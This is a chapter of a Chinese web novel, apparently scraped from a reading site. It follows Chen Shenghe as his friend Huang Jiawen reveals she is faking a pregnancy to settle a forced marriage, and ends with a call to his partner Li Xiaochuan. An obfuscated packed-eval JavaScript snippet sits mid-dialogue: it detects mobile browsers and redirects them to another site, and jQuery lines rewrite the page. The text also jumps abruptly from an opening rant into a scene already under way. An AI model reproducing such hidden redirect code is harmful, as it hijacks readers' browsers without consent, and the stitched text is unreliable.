80.祝贺你披荆斩棘
作品:《川潮》 好,你终于妥协了,结婚了。
你以为噩梦结束了?
不,才刚刚开始。
他们的眼睛,下一秒就黏在你肚子上了。
“都结婚一年了,怎么还没动静?”
“头胎是女儿啊?那赶紧趁年轻再生个儿子!”
“头胎是儿子啊?那再要个闺女,凑个好字,儿女双全多好!”
“一儿一女啊?你这么有钱/国家有补贴,再多生几个,将来有事好商量,孩子们有个伴!”
行……你被催得受不了,真生了,以为总算完成任务了吧?
哈,新的“为你好”又来了!
开始明里暗里催你赶紧回去上班,话里话外都是嫌弃,说你在家带孩子“不会赚钱”、“全靠男人养着”。
你咬咬牙,把孩子扔给老人或保姆,重新挤进职场。
以为这次终于符合他们的‘标准’了?
结果呢?
话锋一转,又成了你的不是。
“一天到晚就知道上班,孩子也不管,像个当妈的样子吗?”
“钱挣再多有什么用,孩子跟你不亲了!”
……无穷无尽,就像拼夕夕那套砍一刀,你不走完,他们就永远有下一个关卡等着你。
走的时候,她的情绪似乎好了一些,至少背挺直了。
陈声和站在咖啡厅门口,看着她上了出租车。车窗摇上去的瞬间,他看见女孩抬手擦了擦眼睛。
那后来,父亲又试探着问了他几次和黄嘉雯的进展。
每次,陈声和都只是摇头。
直到一周后,黄嘉雯妈妈来送请帖,手里捏着烫金喜帖边缘有些发皱。她说黄嘉雯婚事定在下个月,眼神躲闪着对陈声和说了声对不住。
陈声和正帮母亲泡茶,闻言手上一顿:“怎么了阿姨?”
“雯雯她……”黄妈妈喉头滚动两下,“怀孕了。”
陶瓷茶壶磕在玻璃茶盘上。
“怎么可能?”陈声和脱口而出,抬头看见两位母亲错愕的表情才意识到失态。
黄妈妈搓着请帖一角尴尬地笑了笑:“她谈了个男朋友,深圳的,都怪我平时没多问问。”
她指甲在红底金字的囍字上刮出一道浅痕。
陈声和放下茶壶,水渍在桌面漫开一小片:“……我去看看她。”
外套都没拿就往外走。
门关上后,他听见屋里传来压抑的抽泣声。他在楼道拐角停了会儿,确认黄妈妈没提性取向的事,才真正离开。
两家就隔三条街,陈声和上车前给黄嘉雯发了条微信:路口等你。
宝马M5在梧桐树荫下等了十分钟,副驾门才被拉开,黄嘉雯拎着个小包钻进来,身上带着粉邂逅淡淡的香水味。
车开到市区,陈声和把车停在一家茶餐厅门口。他摇下车窗点烟,打火机哒咔响了几次才燃,白雾从他指间升起。
“怎么回事?”
“嫁人咯。”黄嘉雯说得很轻松。
陈声和转头看她。她今天穿了件藕荷色连衣裙,眼下遮瑕膏盖住了常年挂着的青黑:“怀孕怎么回事?”
“假的呀。”她合上化妆镜,嘴角还噙着笑,“花了两百块。”
陈声和绷紧的后背陷进座椅里:“不至于这样。”
“我自愿的。”她突然伸手把陈声和指间的烟摘走,深吸一口,“反正对他们来说,女儿是同性恋还是婚姻不幸根本不重要。”
她把烟灰弹在车载烟灰缸里,嘲讽了一句:“重要的是别让亲戚族老看笑话。”
陈声和看着马路对面牵着孩子的夫妻走过,那孩子在哭闹,女人蹲下耐心哄着,男人却一脸不耐烦。
“我也想通了,”黄嘉雯长舒一口气,“找个人嫁了,生个孩子,我的任务也算完成了。”
“……以后呢?”陈声和透过烟雾看着面前的餐厅,“孩子怎么办?”
“离啊。”黄嘉雯深吸一口,把烟又塞回他的手里,手指冰凉,“孩子归我,正好省得以后麻烦。”
表面上看,这场催婚大战是她爸妈赢了,女儿总算“听话”了,他们心里指不定怎么松口气呢。
可他们都想错了。
黄嘉雯就是要用这个残酷的方式,明明白白地告诉他们:
我的身体,我的灵魂,从里到外,都只归我自己管。
谁也别妄想替我拿主意。
“……什么条件?”陈声和问她。
“条件嘛……将就。”她像在掂量一件商品,“新加坡华籍,祖上福建的。一米八,皮相不错,是个手机公司的工程师。”
她侧过头,冲陈声和露出略带疲惫的笑:“挺好,他图我家的关系,我图他只想图钱。各取所需,干干净净。”
“不了解只会踏入火坑。”陈声和轻声说,“结婚后多的是善变。”
暴力、出轨、算计、无休止的争吵消耗,枕边人成了索命鬼……哪一样不是刀子割肉,天长日久,能把一个好好的人磨没了形。
那时候该向谁求助?
法律护不住,亲人靠不住,朋友不敢帮。
一句“精神病”,一句“家务事”,一句“冷静期”,一句“优先调解”,人命都危在旦夕了,人家给你一句“证据不足”。
能指望谁?
谁都指望不了,只能自己去避免。
黄嘉雯怎么会不懂,她语气里带着嘲弄:“男人这物种全世界都一样,只要他有真正想要的东西,就能伏低做小,演得跟真孙子一样,让你挑不出半点错处。”
“所以啊,声和,”她的目光落在他身上,带着惋惜,“像你和李霄川这样的……太少了。大部分男人,骨子里都是……”
她没把话说完,只是摇了摇头,留白的沉默里,是对整个世俗规则的嗤笑,也是对眼前人这份不合时宜出现的遗憾。
车载空调出风口嘶嘶响着,陈声和盯着烟头明灭的红光,掐灭又重新点了一根,旁边黄嘉雯嘁了一声。
他知道黄嘉雯现在就像只被蛛网缠住的蝶,挣不脱就只能把自己裹进茧里。
可这样真的幸福吗?
值得吗?
没人可以回答这个问题,就连黄嘉雯也保证不了下一秒会发生什么事情。
“你女朋友……
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007021|193990||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她能同意?”陈声和还是没忍住,多问了一句。
黄嘉雯耸耸肩,嘴角扯出个算不上笑的表情:“她啊,让我赶紧找个人嫁了,别傻等她。说得轻巧,放下要真有那么容易,我非得敬全天下所有不为情所困的姑娘一杯。”
“现在是她被困住了,动弹不得。总得有人先挥刀开路吧?那我来吧。等我先把这荆棘丛劈开一条道,她往后走起来,总能顺当些。”
“你真的不打算和我结婚?”说完,黄嘉雯突然从包里抽出几页纸,“看看这个。”
陈声和将烟换在左手,接过资料翻着看。
纸张还带着打印机余温,标题写着《非婚生育法律实务》,他翻到第三页时看到大段荧光笔标记,关于女性单方生育权的司法解释。
“不合适。”他把文件扔回她膝头,纸张擦过她新做的美甲,发出沙的轻响。
黄嘉雯倒也没生气,只是低头整理着包带,轻叹一声:“好吧,我们这代人总得自己拿主意,拜神归拜神,日子还得自己过。”
末了,她又拐了个弯:“你问过李老师的意思么?”
上次绯闻的事情,是她主动伸出援手帮了陈声和。
这个人情,是他俩欠黄嘉雯的。
陈声和转过脸来看她,他仍是那副温润模样,可微微眯起的眼睛让黄嘉雯突然意识到,这个说话总带着潮汕人软糯尾音的男人,骨子里到底是个有主意的。
“算了,当我没说。”黄嘉雯解开安全带,手指敲着皮质座椅,“路是我自己选的,后果自然也担得起,我不信还有比这更烂的路。”
陈声和点点头,伸手按下车门解锁键:“婚礼我就不去了,台里还有素材要赶。”
“理解。”黄嘉雯对着后视镜将碎发别到耳后,推门时带进一阵热风,“祝我勇敢的迈出人生第一步吧!”
陈声和微微额首:“祝贺你披荆斩棘。”
黄嘉雯这才笑着关上门走了。
等红色尾灯消失在路口,陈声和才蹍灭烟头。
手机在掌心转了两圈,最终还是拨通了那个烂熟于心的号码。几乎是在响铃的瞬间就被接起。
“喂?”
“是我。”陈声和揉着发胀的太阳穴,听见电话那头传来布料摩擦的窸窣声。
李霄川的呼吸声先传了过来:“你爸,怎么样了?”
“脱离危险了。”陈声和望着挡风玻璃上爬过的一只蚂蚁,“后天……得回台里盯剪辑。”
“嗯。”李霄川那边传来打火机的轻响,烟嗓比平日更哑。
“阿川……”陈声和仰头靠在头枕上,闭上了眼睛,“好想你。”
电话里突然安静得能听见电流杂音。
过了许久,才传来李霄川像是从胸腔里挤出来的回应:“我也想你。”
那声音轻轻的,却像块热毛巾敷在陈声和心上。他听得出,这次李霄川的想字后面,没藏着往日那些沉重的东西。
之后两个人都沉默着,谁也没说话,谁也没有挂断。
两人就这样举着手机,听着彼此细微的呼吸声。不是无话可说,是怕一开口,又要碰碎什么似的。

